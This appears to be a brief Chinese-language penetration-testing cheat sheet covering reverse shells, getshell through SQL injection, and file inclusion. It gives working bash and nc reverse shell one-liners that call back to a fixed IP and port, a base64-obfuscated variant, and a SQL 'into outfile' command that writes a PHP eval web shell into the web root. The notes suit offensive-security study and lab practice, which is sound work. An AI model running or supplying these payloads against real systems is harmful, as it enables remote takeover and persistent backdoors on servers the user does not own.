# 反弹 shell

bash:

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
//-i 表示交互模式,>&将标准输出以及错误重定向,/dev...是使用特殊文件进行tcp连接,0>&1是将标准输入重定向。
注意:0是标准输入,1是标准输出,2是标准错误。>&是组合操作符,同时操作标准输出和错误,也可以指定。
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

nc:

nc -e /bin/bash 192.168.99.242 1234
//-e,在连接成功后执行/bin/bash,将这个shell和网络连接绑定

还有 awk,telnet,socat,Python,PHP,java,Perl,Ruby,JAVA...

见:
反弹 shell 的各种姿势 - 知乎

# getshell

# 注入

select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
//字符串就是<?php eval($_POST['a']); ?>,也可以不用16进制。

1752031256984

1752031294279

显然要有写入权限,知道路径,看上去是堆叠或者联合?

# 文件包含

要先文件上传,其简单防护包括:
前端校验文件名 ,MIME

文件包含需要 PHP 的配置文件项 allow_url_include 和 allow_url_fopen 均设置为 On